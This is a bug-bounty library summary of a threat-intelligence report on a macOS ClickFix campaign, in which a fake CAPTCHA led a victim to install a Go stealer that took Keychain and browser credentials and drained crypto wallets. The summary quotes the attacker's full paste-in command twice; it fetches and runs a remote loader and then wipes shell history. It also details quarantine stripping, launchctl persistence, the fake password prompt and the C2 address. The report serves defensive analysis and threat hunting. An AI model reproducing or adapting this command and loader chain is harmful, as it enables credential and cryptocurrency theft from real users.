# Mac Malware Drains Crypto Wallets Via Fake CAPTCHA Scam

ClickFix fake CAPTCHA lured a macOS user into pasting a shell command, delivering a Go stealer that harvested Keychain/browser credentials and drained crypto wallets.

- Payout: Real-world hack
- Severity: high
- Program: Apple
- Analysis by: Huntress
- Disclosed: 2026-08-06
- Write-up quality: 7/10
- Original: https://www.huntress.com/blog/mac-crypto-draining-malware
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-mac-crypto-draining-malware
- Tags: area:os domain:desktop impact:data-leak impact:funds-loss kind:incident platform:threat-intel sev:high tech:curl tech:email technique:recon vuln:misconfiguration vuln:secrets-leak

**Target:** macOS endpoint via Terminal and ClickFix lure
**Root cause:** Victim pastes an attacker-supplied shell command into Terminal (ClickFix), which curls a Bash profiler/loader that fingerprints CPU architecture and drops an arch-matched Mach-O stealer, stripping quarantine and persisting via launchctl BTM.
**Steps:**
1. Victim clicks emailed link to `profitnow[.]io`; fake CAPTCHA popup instructs copying a command
2. Pasted command: `export SRC_URL='https://profitnow[.]io/' && (cd /tmp && curl -kfsSL "http://193.29.224[.]151/92392991a0cca55?force=1" -o .UlaccK && bash .UlaccK && rm -f .UlaccK) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null | awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null;`
3. Loader runs `uname -m`; if `arm64` fetches ARM64 Mach-O else x86_64 payload via `curl -kFsSL`
4. Copies payload to `$HOME/Library/Caches/com.apple.trustd/com.apple.verified`, `chmod +x`, `xattr -d com.apple.quarantine`
5. Persistence: drops `SoftwareUpdate` at `~/Library/Caches/com.apple.softwareupdate/`, ad-hoc signs, `launchctl bootstrap gui/501 /Users/m1/Library/LaunchAgents/com.apple.softwareupdated.plist`
6. osascript dialog prompts victim for password to elevate
7. Stealer scrapes Keychain, browser password DBs, cookies; DRAIN function queries wallet balances and redirects funds to hardcoded/C2 addresses
**How found:** Retrospective threat hunt in June 2026 found stealer components on a system infected three months earlier; analyst traced loader, payload hosting and C2 to Aeza Group AS210644.
**Exploitation:** Email link → ClickFix popup → user pastes command → loader fingerprints host and drops arch-matched Mach-O stealer → stealer exfiltrates credentials to C2 at 138.124.118[.]69:8133 and DRAIN redirects crypto wallet balances (full or DRAIN_PCT%) to attacker wallets.
**Escalation:** osascript credential prompt for privilege elevation; persistence via launchctl BTM; DRAIN_PCT allows partial draining to avoid detection.
**Insight:** ClickFix loaders fingerprint `uname -m` to serve arch-matched Mach-O and abuse `~/Library/Caches/com.apple.*` paths plus launchctl BTM for stealth persistence; hunt for curl-dropped binaries in trustd/softwareupdate cache dirs and osascript password prompts.

## Proof of concept (copied exactly from the original report)

**ClickFix Terminal command downloading and executing loader**

```
export SRC_URL='https://profitnow[.]io/' && (cd /tmp && curl -kfsSL "http://193.29.224[.]151/92392991a0cca55?force=1" -o .UlaccK && bash .UlaccK && rm -f .UlaccK) > /dev/null 2>&1 & clear; printf '\033[3J'; history -d $(history 1 2>/dev/null | awk '{print $1}') 2>/dev/null; fc -p /dev/null 2>/dev/null;
```

**Loader persistence via launchctl bootstrap**

```
The payload has its extended file attributes stripped, ad-hoc signed and then incorporated into the Background Task Management (BTM) subsystem via launchctl bootstrap gui/501 /Users/m1/Library/LaunchAgents/com.apple.softwareupdated.plist.
```